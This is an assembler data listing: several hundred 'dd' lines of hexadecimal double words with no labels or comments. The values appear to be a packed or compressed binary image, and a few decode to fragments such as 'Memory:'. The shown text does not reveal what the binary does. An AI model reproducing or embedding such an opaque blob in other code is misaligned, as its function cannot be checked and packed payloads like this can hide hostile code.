dd 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h, 52AAE9h
dd 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh, 76747FB0h
dd 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h, 6CB0C46h
dd 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh, 3AC0E900h
dd 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h, 65D6E800h
dd 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h, 62491778h
dd 4424A0F7h, 14002018h, 597E8088h, 222648h, 0FB96B2AEh
dd 10510F99h, 7060520Ch, 852046h, 0FF32DA53h, 8920EB3Ch
dd 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h, 0EA0050EEh
dd 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh, 46E12C07h
dd 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h, 7C2EB900h
dd 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh, 0BC074C79h
dd 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh, 15472019h
dd 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h, 0F66A5840h
dd 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h, 6FC91781h
dd 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h, 0A47CC3h
dd 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h, 0DBF08BB3h
dd 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h, 4BCAE0EAh
dd 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h, 7A3E2400h
dd 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h, 200AAE11h
dd 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h, 0E6F34Ch
dd 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h, 0A97231Dh
dd 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh, 0B400FA83h
dd 85541977h, 6032198h, 132453E1h, 41C5E94Eh, 98042CD4h
dd 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h, 1A750A00h
dd 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h, 48302F9h
dd 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h, 9C0FC41Ah
dd 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh, 58005216h
dd 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h, 13005830h
dd 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh, 0DBF2724Ch
dd 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh, 6500F426h
dd 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh, 3A9B3C42h
dd 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h, 3B8930h
dd 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h, 43C30EACh
dd 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh, 0E13D9B12h
dd 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h, 0BCC60C00h
dd 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah, 76805A00h
dd 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h, 76007166h
dd 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h, 21C5F507h
dd 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh, 600452Bh
dd 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h, 59503302h
dd 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh, 39F6C780h
dd 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh, 0B87807D6h
dd 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h, 0B951C004h
dd 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh, 608F0464h
dd 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h, 0CB802BBBh
dd 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h, 0AEA0BAh
dd 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh, 580809F3h
dd 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h, 0E22B5A27h
dd 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h, 8D368158h
dd 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh, 0F04C49A9h
dd 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h, 21ED6C00h
dd 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh, 4574487Ch
dd 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h, 2CDB92C0h
dd 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h, 3D620F16h
dd 9E18FCh, 3318C50h, 800422B3h, 340045E0h, 0C3158451h
dd 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h, 0CB473198h
dd 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh, 150001A4h
dd 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h, 770008FAh
dd 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h, 8C7A1698h
dd 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah, 43B7E16Fh
dd 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah, 14A39174h
dd 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h, 8BF3C30h
dd 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h, 0B6B3A0Eh
dd 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h, 0AD78EBC5h
dd 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h, 8678326Eh
dd 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh, 0CE0703CCh
dd 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h, 0A5C80407h
dd 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h, 0C358CECBh
dd 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h, 8FD1D7B7h
dd 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh, 45812296h
dd 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h, 1697F00h
dd 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h, 0EF80B3ABh
dd 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h, 0E78E617h
dd 0B60516A1h, 55718012h, 8D093927h, 70F70Fh, 0C9304093h
dd 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch, 5152007Eh
dd 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h, 8029F2CCh
dd 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h, 1F8AA17h
dd 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h, 4564F28Ah
dd 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h, 0D800DC07h
dd 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h, 750C17D0h
dd 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h, 0EDB2B800h
dd 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h
dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
dd 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h, 0A791001h
dd 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h, 20E9DB91h
dd 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h, 0D68ED24Eh
dd 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh, 40001B1Fh
dd 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h, 0F3E003E5h
dd 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h, 5875FFh
dd 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h, 0FFDA00C3h
dd 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h, 0F882681h
dd 8B40835Ah, 0A77B9EDAh
dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch
dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h
dd 251520Fh, 40400FABh, 9C7C20F9h, 302C00F1h, 0D81C051Ah
dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h, 0C121061Ch
dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h
dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h, 9D5442h
dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h, 317F000Ah
dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h
dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh
dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h
dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h
dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h
dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh
dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h
dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h
dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h
dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h
dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah, 0D22E00E8h
dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh
dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h, 83784Fh
dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h, 5771E14h
dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h, 0A8CD191Fh
dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh
dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh
dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h
dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h
dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h
dd 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h, 25EE6Eh
dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h
dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh
dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h
dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h
dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch
dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h, 98396072h
dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h
dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h
dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h
dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h, 0DEC491C8h
dd 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh, 4F98A1E8h
dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h, 4914DC05h
dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh
dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h, 0A2423A3Ch
dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h, 1CF539F4h
dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh
dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h
dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh
dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h
dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh
dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h
dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh, 91B123B0h
dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h
dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h
dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh
dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah
dd 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h, 805D883Ah
dd 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h, 651F4845h
dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch
dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh
dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh, 588E989Dh
dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h, 0B258F057h
dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h
dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h
dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch
dd 2C00048h, 676E6152h, 9DFD1965h, 7700C820h, 8210C92h
dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch, 64221DC0h
dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h
dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h
dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h
dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h
dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h, 0D044F649h
dd 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h, 7542F4AFh
dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh
dd 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h, 0B9616C89h
dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh
dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h, 6B632661h
dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh
dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h
dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h
dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh, 738572D9h
dd 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh, 8F60E074h
dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh
dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h
dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh
dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h
dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh
dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h, 3AEB00E1h
dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh
dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh, 12A74A6h
dd 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h, 0A120DC7Fh
dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h
dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h
dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h
dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h
dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h
dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh
dd 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h
dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h
dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h
dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h
dd 43CC5600h, 9F0C62C6h
dd 5FFE4Ch, 0D4D68251h, 993537AAh, 5A880207h, 32079D6Eh
dd 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h
dd 9AEFF00h, 6B291B50h, 3F840002h, 4461765Bh, 884CEE0Eh
dd 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h
dd 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h, 560580F0h
dd 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h
dd 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h, 70FC00E5h
dd 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h, 0AFAE19E8h
dd 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h
dd 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h, 5BC30012h
dd 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h
dd 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h, 11B080h
dd 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh, 0FD6E0021h
dd 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh, 27895657h
dd 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h, 0D6B5Eh
dd 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h, 2DAA0029h
dd 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh, 9FDA00C0h
dd 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h, 802AF4D3h
dd 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh, 13F80246h
dd 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h, 985D9E03h
dd 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h, 573A0E47h
dd 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h, 67503h
dd 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h, 55DC00EAh
dd 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h, 951200E8h
dd 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh, 761F0Eh
dd 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h, 9DC400DFh
dd 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh, 6AA028Bh
dd 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch, 62B01E87h
dd 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h, 5D892082h
dd 16297F00h, 3CE1FA2h, 7D510068h, 0B22890FCh, 612C8C5h
dd 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h, 4476C100h
dd 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h, 0FEBAEAE8h
dd 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h, 5CF100E8h
dd 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h, 22BBE414h
dd 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h, 0A6525851h
dd 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h, 727C9AEBh
dd 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh, 0E948F7Ah
dd 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h, 9E7F8B59h
dd 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h, 37097739h
dd 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h, 1A0B9403h
dd 0D68AE958h, 46178Dh, 1277A7DEh, 1077D4FFh, 390C093Dh
dd 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh, 0C12488DFh
dd 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch, 4A0F06D8h
dd 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh, 7F88C111h
dd 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h, 93C2564h
dd 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh, 0B955D39Dh
dd 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h, 0F29D1399h
dd 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h, 40DE580Ah
dd 826FB4B9h, 0F70023EBh, 1E575243h, 157480h, 48831B4Dh
dd 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h, 90F7C006h
dd 4B758DDBh, 0F1AF3Fh, 9D038BCCh, 785848h, 92598043h
dd 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh, 27033942h
dd 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h, 0E3B72E0h
dd 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h, 8F4257B5h
dd 22111E15h, 3D854010h, 93ACE092h, 90017E0h, 0F70E79C0h
dd 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h, 23EA0F90h
dd 53D180CEh, 3E0BA88h, 520191FEh, 0D1DF220Fh, 0F055A9C2h
dd 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h, 2122C931h
dd 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh, 5DD5D1Dh
dd 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh
dd 7C95170Bh, 9053400h, 0EABA74F6h, 3B710001h, 6F77E04Dh
dd 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h, 0F24F8033h
dd 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh, 0DF0431E9h
dd 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h, 1FF3F77h
dd 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h, 114DF5C8h
dd 4B31AC0h, 7773FCB8h, 139EC92h, 0BA2576C2h, 0E08A4BB5h
dd 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch, 0F87B832Dh
dd 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h, 0A9E8CF0Bh
dd 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h, 0FD4F035h
dd 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h, 7B7D59E3h
dd 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h, 0F6034167h
dd 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h, 52B785h
dd 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh, 100200BBh
dd 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h
dd 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh, 7B9854EFh
dd 0C0F57EBh, 0C05C40h, 2C23B38h, 437D7Ch, 0DDDB0330h
dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h, 0EC7D4F39h
dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh
dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h
dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh, 5A050013h
dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h
dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h
dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h
dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h
dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h
dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h
dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h
dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h
dd 2B8E0056h, 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h
dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h
dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh
dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh
dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h
dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h
dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h
dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h
dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h
dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh
dd 0D0B6FDA2h, 0C985EC82h
dd 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h
dd 902BC0F0h, 7034612h, 497D834Ah, 819DE0A5h, 0B1F90017h
dd 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h, 19130052h
dd 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h
dd 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh, 74410764h
dd 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h
dd 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh, 0F14110Eh
dd 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh, 103B63h
dd 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h
dd 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch, 342507D0h
dd 8060094h, 50FE1391h, 205C67FDh, 575E0011h, 2590E9D6h
dd 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah
dd 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh, 0EE09F9D8h
dd 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch, 9689F104h
dd 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h, 0A28D0071h
dd 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh, 4FFF0022h
dd 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h, 6A621EB6h
dd 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh, 3260B63Eh
dd 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh, 6233DAB0h
dd 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch
dd 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h, 5277E84Fh
dd 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h, 551C1E44h
dd 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh, 2CDFE848h
dd 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h, 0A00AB5B2h
dd 197F6C7h, 5F0EFC43h, 0C8FB14F4h, 0AE02750Dh, 44748861h
dd 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h, 64AC0405h
